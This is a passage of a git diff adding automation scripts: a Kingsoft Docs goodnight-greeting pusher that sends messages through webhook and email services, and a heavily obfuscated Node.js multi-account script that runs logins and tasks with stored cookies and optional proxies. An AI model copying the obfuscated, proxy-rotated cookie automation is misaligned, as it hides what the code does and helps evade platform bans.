"application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://shanhe.kim/api/za/xingzuo.php?msg=" + input + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + _0x3e62c3[_0x2861a6.toLowerCase()](_0x42cae7, async (_0x3e7a9a, _0x9eb20f, _0x1c115e) => { + try { + _0x123507 == 1 && (console.log("==================请求=================="), console.log(JSON.stringify(_0x42cae7)), console.log("==================返回=================="), console.log(_0x1c115e)); + } catch (_0x577526) {} finally { + return !_0x3e7a9a ? $.safeGet(_0x1c115e) ? _0x1c115e = JSON.parse(_0x1c115e) : _0x1c115e = _0x1c115e : _0x475b4f == undefined ? (console.log("请检查网络设置"), _0x1c115e = JSON.parse("{\"code\":\"99\"}")) : (await this.hqdl(), _0x1c115e = await this.task(_0x2861a6, _0x37dd8c, _0x5a0e49, _0x50185e)), _0xda06a3(_0x1c115e); + } + }); + }); + } +} +$ = _0x5a1661(); +!(async () => { + console.log("[" + NAME + "] " + $.timenow(3) + ":" + $.timenow(4) + ":" + $.timenow(5)); + await $.ExamineCookie(); + if (_0x475b4f == undefined) { + console.log("当前使用本地网络运行脚本"); + console.log("\n-------- 用户信息 --------"); + await $.Multithreading("login"); + let _0x2900ec = $.cookie_list.filter(_0x232c5 => _0x232c5.login == true); + if (_0x2900ec.length == 0) { + console.log("Cookie格式错误 或 账号被禁封"); + return; + } else { + console.log("\n-------- 任务列表 --------"); + await $.Multithreading("user_task_list"); + console.log("\n-------- 运行结果 --------"); + } + for (let _0x405429 of $.cookie_list) { + _0x405429.xinxi(); + } + } else { + console.log("当前使用代理网络运行脚本"); + await $.Multithreading("hqdl"); + console.log("\n-------- 用户信息 --------"); + await $.Multithreading("login"); + let _0x3420cb = $.cookie_list.filter(_0xf4b5f7 => _0xf4b5f7.login == true); + if (_0x3420cb.length == 0) { + console.log("Cookie格式错误 或 账号被禁封"); + return; + } else console.log("\n-------- 任务列表 --------"), await $.Multithreading("user_task_list"), console.log("\n-------- 运行结果 --------"); + for (let _0xd4ad8a of $.cookie_list) { + _0xd4ad8a.xinxi(); + } + } +})().catch(_0x5ce62d => { + console.log(_0x5ce62d); +}).finally(() => {}); +function _0x5a1661() { + return new class { + constructor() { + this.cookie_list = []; + this.message = ""; + this.CryptoJS = require("crypto-js"); + this.NodeRSA = require("node-rsa"); + this.request = require("request"); + this.Sha_Rsa = require("jsrsasign"); + } + async ["Multithreading"](_0x59427b, _0x390014, _0x19e114) { + let _0x214547 = []; + !_0x19e114 && (_0x19e114 = 1); + while (_0x19e114--) { + for (let _0x5ada64 of $.cookie_list) { + _0x214547.push(_0x5ada64[_0x59427b](_0x390014)); + } + } + await Promise.allSettled(_0x214547); + } + ["ExamineCookie"]() { + let _0xe3fd2 = process.env[VALY] || CK, + _0x80080d = 0; + if (_0xe3fd2) { + for (let _0x8a8755 of _0x1b47ef) { + if (_0xe3fd2.includes(_0x8a8755)) { + this.splitor = _0x8a8755; + break; + } + } + for (let _0x1945a8 of _0xe3fd2.split(this.splitor).filter(_0x175e48 => !!_0x175e48)) { + $.cookie_list.push(new _0xb7dbde(_0x1945a8)); + } + _0x80080d = $.cookie_list.length; + } else { + console.log("\n【" + NAME + "】:未填写变量: " + VALY); + } + return console.log("共找到" + _0x80080d + "个账号"), $.cookie_list; + } + ["task"](_0x501030, _0xe5e338, _0x23a6e4, _0x26da24, _0x46dda4) { + if (_0x501030 == "delete") _0x501030 = _0x501030.toUpperCase();else { + _0x501030 = _0x501030; + } + return _0x501030 == "post" && (delete _0x23a6e4["content-type"], delete _0x23a6e4["Content-type"], delete _0x23a6e4["content-Type"], $.safeGet(_0x26da24) ? _0x23a6e4["Content-Type"] = "application/json;charset=UTF-8" : _0x23a6e4["Content-Type"] = "application/x-www-form-urlencoded", _0x26da24 && (_0x23a6e4["Content-Length"] = $.lengthInUtf8Bytes(_0x26da24))), _0x501030 == "get" && (delete _0x23a6e4["content-type"], delete _0x23a6e4["Content-type"], delete _0x23a6e4["content-Type"], delete _0x23a6e4["Content-Length"]), _0x23a6e4.Host = _0xe5e338.replace("//", "/").split("/")[1], new Promise(async _0x371980 => { + if (_0x501030.indexOf("T") < 0) var _0x43be02 = { + "url": _0xe5e338, + "headers": _0x23a6e4, + "body": _0x26da24, + "proxy": "http://" + _0x46dda4 + };else var _0x43be02 = { + "url": _0xe5e338, + "headers": _0x23a6e4, + "form": JSON.parse(_0x26da24), + "proxy": "http://" + _0x46dda4 + }; + !_0x46dda4 && delete _0x43be02.proxy; + this.request[_0x501030.toLowerCase()](_0x43be02, (_0x42f51a, _0x3c508c, _0x5bf7fb) => { + try { + _0x5bf7fb && _0x123507 == 1 && (console.log("================ 请求 ================"), console.log(_0x43be02), console.log("================ 返回 ================"), $.safeGet(_0x5bf7fb) ? console.log(JSON.parse(_0x5bf7fb)) : console.log(_0x5bf7fb)); + } catch (_0x577b62) { + console.log(_0x577b62, _0xe5e338 + "\n" + _0x23a6e4); + } finally { + let _0x2bd6c4 = ""; + if (!_0x42f51a) { + if ($.safeGet(_0x5bf7fb)) _0x2bd6c4 = JSON.parse(_0x5bf7fb);else _0x5bf7fb.indexOf("/") != -1 && _0x5bf7fb.indexOf("+") != -1 ? _0x2bd6c4 = $.decrypts(_0x5bf7fb) : _0x2bd6c4 = _0x5bf7fb; + } else _0x2bd6c4 = _0xe5e338 + " API请求失败,请检查网络重试\n" + _0x42f51a; + return _0x371980(_0x2bd6c4); + } + }); + }); + } + ["task2"](_0xf56364, _0x370cc3, _0x4e9003, _0x20afaa, _0x3aef67) { + _0xf56364 == "delete" ? _0xf56364 = _0xf56364.toUpperCase() : _0xf56364 = _0xf56364; + _0xf56364 == "post" && (delete _0x4e9003["content-type"], delete _0x4e9003["Content-type"], delete _0x4e9003["content-Type"], $.safeGet(_0x20afaa) ? _0x4e9003["Content-Type"] = "application/json;charset=UTF-8" : _0x4e9003["Content-Type"] = "application/x-www-form-urlencoded", _0x20afaa && (_0x4e9003["Content-Length"] = $.lengthInUtf8Bytes(_0x20afaa))); + _0xf56364 == "get" && (delete _0x4e9003["content-type"], delete _0x4e9003["Content-type"], delete _0x4e9003["content-Type"], delete _0x4e9003["Content-Length"]); + _0x4e9003.Host = _0x370cc3.replace("//", "/").split("/")[1]; + if (_0xf56364.indexOf("T") < 0) var _0x211884 = { + "url": _0x370cc3, + "headers": _0x4e9003, + "body": _0x20afaa + };else var _0x211884 = { + "url": _0x370cc3, + "headers": _0x4e9003, + "form": JSON.parse(_0x20afaa) + }; + return new Promise(async _0x1212a4 => { + this.request[_0xf56364.toLowerCase()](_0x211884, (_0x1bb8c5, _0x5dc1c2, _0x3fb179) => { + try { + if (_0x3fb179) { + _0x123507 == 1 && (console.log("================ 请求 ================"), console.log(_0x211884), console.log("================ 返回 ================"), $.safeGet(_0x3fb179) ? console.log(JSON.parse(_0x3fb179)) : console.log(_0x3fb179)); + } + } catch (_0x4d512a) { + console.log(_0x4d512a, _0x370cc3 + "\n" + _0x4e9003); + } finally { + let _0x3f4c58 = ""; + if (!_0x1bb8c5) { + if ($.safeGet(_0x3fb179)) { + _0x3f4c58 = _0x3fb179; + } else { + if (_0x3fb179.indexOf("/") != -1 && _0x3fb179.indexOf("+") != -1) _0x3f4c58 = $.decrypts(_0x3fb179);else { + _0x3f4c58 = _0x3fb179; + } + } + } else _0x3f4c58 = _0x370cc3 + " API请求失败,请检查网络重试\n" + _0x1bb8c5; + return _0x1212a4(_0x3f4c58); + } + }); + }); + } + ["lengthInUtf8Bytes"](_0x4dc573) { + let _0x10d9b6 = encodeURIComponent(_0x4dc573).match(/%[89ABab]/g); + return _0x4dc573.length + (_0x10d9b6 ? _0x10d9b6.length : 0); + } + ["randomArr"](_0x489317) { + return _0x489317[parseInt(Math.random() * _0x489317.length, 10)]; + } + ["wait"](_0x2a66f2) { + return new Promise(_0x54ad06 => setTimeout(_0x54ad06, _0x2a66f2)); + } + ["time"](_0x1b5821) { + return _0x1b5821 == 10 ? Math.round(+new Date() / 1000) : +new Date(); + } + ["timenow"](_0x52581e) { + let _0x211c6a = new Date(); + if (_0x52581e == undefined) { + let _0x289934 = new Date(), + _0x21d5a3 = _0x289934.getFullYear() + "-", + _0x219b8a = (_0x289934.getMonth() + 1 < 10 ? "0" + (_0x289934.getMonth() + 1) : _0x289934.getMonth() + 1) + "-", + _0x2c7c45 = _0x289934.getDate() + " ", + _0x1746d8 = _0x289934.getHours() + ":", + _0x5af394 = _0x289934.getMinutes() + ":", + _0x426a84 = _0x289934.getSeconds() + 1 < 10 ? "0" + _0x289934.getSeconds() : _0x289934.getSeconds(); + return _0x21d5a3 + _0x219b8a + _0x2c7c45 + _0x1746d8 + _0x5af394 + _0x426a84; + } else { + if (_0x52581e == 0) return _0x211c6a.getFullYear();else { + if (_0x52581e == 1) return _0x211c6a.getMonth() + 1 < 10 ? "0" + (_0x211c6a.getMonth() + 1) : _0x211c6a.getMonth() + 1;else { + if (_0x52581e == 2) return _0x211c6a.getDate();else { + if (_0x52581e == 3) { + return _0x211c6a.getHours(); + } else { + if (_0x52581e == 4) { + return _0x211c6a.getMinutes(); + } else { + if (_0x52581e == 5) return _0x211c6a.getSeconds() + 1 < 10 ? "0" + _0x211c6a.getSeconds() : _0x211c6a.getSeconds(); + } + } + } + } + } + } + } + ["safeGet"](_0x58035f) { + try { + if (typeof JSON.parse(_0x58035f) == "object") { + return true; + } + } catch (_0x1da0e1) { + return false; + } + } + ["SJS"](_0x4b919c, _0x3394c8) { + if (_0x3394c8 == 0) { + let _0x912190 = "QWERTYUIOPASDFGHJKLZXCVBNM01234567890123456789", + _0xe7cc4d = _0x912190.length, + _0x27da32 = ""; + for (let _0x20f52c = 0; _0x20f52c < _0x4b919c; _0x20f52c++) { + _0x27da32 += _0x912190.charAt(Math.floor(Math.random() * _0xe7cc4d)); + } + return _0x27da32; + } else { + if (_0x3394c8 == 1) { + let _0x1b1241 = "qwertyuiopasdfghjklzxcvbnm0123456789", + _0x6f774 = _0x1b1241.length, + _0x5cb043 = ""; + for (let _0x352bc8 = 0; _0x352bc8 < _0x4b919c; _0x352bc8++) { + _0x5cb043 += _0x1b1241.charAt(Math.floor(Math.random() * _0x6f774)); + } + return _0x5cb043; + } else { + let _0x425a1c = "0123456789", + _0x3352d2 = _0x425a1c.length, + _0xf36bd = ""; + for (let _0x21ee9f = 0; _0x21ee9f < _0x4b919c; _0x21ee9f++) { + _0xf36bd += _0x425a1c.charAt(Math.floor(Math.random() * _0x3352d2)); + } + return _0xf36bd; + } + } + } + ["udid"](_0x12b656) { + function _0x50d641() { + return ((1 + Math.random()) * 65536 | 0).toString(16).substring(1); + } + let _0x294a84 = _0x50d641() + _0x50d641() + "-" + _0x50d641() + "-" + _0x50d641() + "-" + _0x50d641() + "-" + _0x50d641() + _0x50d641() + _0x50d641(); + return _0x12b656 == 0 ? _0x294a84.toUpperCase() : _0x294a84.toLowerCase(); + } + ["encodeUnicode"](_0x5c233f) { + var _0x22dd4c = []; + for (var _0x1ee173 = 0; _0x1ee173 < _0x5c233f.length; _0x1ee173++) { + _0x22dd4c[_0x1ee173] = ("00" + _0x5c233f.charCodeAt(_0x1ee173).toString(16)).slice(-4); + } + return "\\u" + _0x22dd4c.join("\\u"); + } + ["decodeUnicode"](_0x5d7874) { + return _0x5d7874 = _0x5d7874.replace(/\\u/g, "%u"), unescape(unescape(_0x5d7874)); + } + ["RT"](_0x467148, _0x81c592) { + return Math.round(Math.random() * (_0x81c592 - _0x467148) + _0x467148); + } + ["arrNull"](_0x557054) { + var _0x28aa06 = _0x557054.filter(_0x5a20f1 => { + return _0x5a20f1 && _0x5a20f1.trim(); + }); + return _0x28aa06; + } + ["nowtime"]() { + return new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + } + ["timecs"]() { + let _0x1cc9a1 = $.nowtime(); + return JSON.stringify(_0x1cc9a1).indexOf(" ") >= 0 && (_0x1cc9a1 = _0x1cc9a1.replace(" ", "T")), new Date(_0x1cc9a1).getTime() - 8 * 60 * 60 * 1000; + } + ["rtjson"](_0x102f0d, _0x4168e4, _0x5d82b1, _0x38ff8e) { + return _0x38ff8e == 0 ? JSON.stringify(_0x102f0d.split(_0x4168e4).reduce((_0x401b9e, _0x32ba63) => { + let _0x4dc1bd = _0x32ba63.split(_0x5d82b1); + return _0x401b9e[_0x4dc1bd[0].trim()] = _0x4dc1bd[1].trim(), _0x401b9e; + }, {})) : _0x102f0d.split(_0x4168e4).reduce((_0x428cc3, _0x50c191) => { + let _0x571c01 = _0x50c191.split(_0x5d82b1); + return _0x428cc3[_0x571c01[0].trim()] = _0x571c01[1].trim(), _0x428cc3; + }, {}); + } + ["MD5Encrypt"](_0x1fd140, _0x17153a) { + if (_0x1fd140 == 0) return this.CryptoJS.MD5(_0x17153a).toString().toLowerCase();else { + if (_0x1fd140 == 1) { + return this.CryptoJS.MD5(_0x17153a).toString().toUpperCase(); + } else { + if (_0x1fd140 == 2) { + return this.CryptoJS.MD5(_0x17153a).toString().substring(8, 24).toLowerCase(); + } else { + if (_0x1fd140 == 3) return this.CryptoJS.MD5(_0x17153a).toString().substring(8, 24).toUpperCase(); + } + } + } + } + ["SHA_Encrypt"](_0x3f80d3, _0x418745, _0x5a8e8a) { + if (_0x3f80d3 == 0) { + return this.CryptoJS[_0x418745](_0x5a8e8a).toString(this.CryptoJS.enc.Base64); + } else return this.CryptoJS[_0x418745](_0x5a8e8a).toString(); + } + ["HmacSHA_Encrypt"](_0x29871a, _0x47c575, _0x34ea2f, _0xb9ee76) { + return _0x29871a == 0 ? this.CryptoJS[_0x47c575](_0x34ea2f, _0xb9ee76).toString(this.CryptoJS.enc.Base64) : this.CryptoJS[_0x47c575](_0x34ea2f, _0xb9ee76).toString(); + } + ["Base64"](_0x4b8f6f, _0x4d0281) { + if (_0x4b8f6f == 0) { + return this.CryptoJS.enc.Base64.stringify(this.CryptoJS.enc.Utf8.parse(_0x4d0281)); + } else return this.CryptoJS.enc.Utf8.stringify(this.CryptoJS.enc.Base64.parse(_0x4d0281)); + } + ["DecryptCrypto"](_0x1c10d5, _0x523afd, _0x4f9d01, _0x557b38, _0x54742b, _0x2979c1, _0x216d2e) { + if (_0x1c10d5 == 0) { + const _0x312c17 = this.CryptoJS[_0x523afd].encrypt(this.CryptoJS.enc.Utf8.parse(_0x54742b), this.CryptoJS.enc.Utf8.parse(_0x2979c1), { + "iv": this.CryptoJS.enc.Utf8.parse(_0x216d2e), + "mode": this.CryptoJS.mode[_0x4f9d01], + "padding": this.CryptoJS.pad[_0x557b38] + }); + return _0x312c17.toString(); + } else { + const _0xd83f01 = this.CryptoJS[_0x523afd].decrypt(_0x54742b, this.CryptoJS.enc.Utf8.parse(_0x2979c1), { + "iv": this.CryptoJS.enc.Utf8.parse(_0x216d2e), + "mode": this.CryptoJS.mode[_0x4f9d01], + "padding": this.CryptoJS.pad[_0x557b38] + }); + return _0xd83f01.toString(this.CryptoJS.enc.Utf8); + } + } + ["RSA"](_0x371397, _0x2413fe) { + const _0x23417f = require("node-rsa"); + let _0xad78e6 = new _0x23417f("-----BEGIN PUBLIC KEY-----\n" + _0x2413fe + "\n-----END PUBLIC KEY-----"); + return _0xad78e6.setOptions({ + "encryptionScheme": "pkcs1" + }), _0xad78e6.encrypt(_0x371397, "base64", "utf8"); + } + ["SHA_RSA"](_0x2a993a, _0x2b0378) { + let _0x450908 = this.Sha_Rsa.KEYUTIL.getKey("-----BEGIN PRIVATE KEY-----\n" + $.getNewline(_0x2b0378, 76) + "\n-----END PRIVATE KEY-----"), + _0x2df3cb = new this.Sha_Rsa.KJUR.crypto.Signature({ + "alg": "SHA256withRSA" + }); + _0x2df3cb.init(_0x450908); + _0x2df3cb.updateString(_0x2a993a); + let _0x52fe2c = _0x2df3cb.sign(), + _0x175154 = this.Sha_Rsa.hextob64u(_0x52fe2c); + return _0x175154; + } + }(); +} \ No newline at end of file diff --git a/脚本库/web版/账密/晚安问候语/2025-08-25_wanan_b25f6959.js b/脚本库/web版/账密/晚安问候语/2025-08-25_wanan_b25f6959.js new file mode 100644 index 0000000..8ea7dbf --- /dev/null +++ b/脚本库/web版/账密/晚安问候语/2025-08-25_wanan_b25f6959.js @@ -0,0 +1,631 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/wanan.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wanan.js +// # Repo: imoki/sign_script +// # Path: polymerization/wanan.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: b25f695945a994e20257babb070e0fdadbe0cac72196bc164120e82d3b1e83da +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "晚安问候语" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:wanan(修改这里) + 环境变量值:无(修改这里) + 备注:晚安问候语 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "wanan"; // 分配置表名称, (修改这里) +var pushHeader = "【晚安问候语】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var 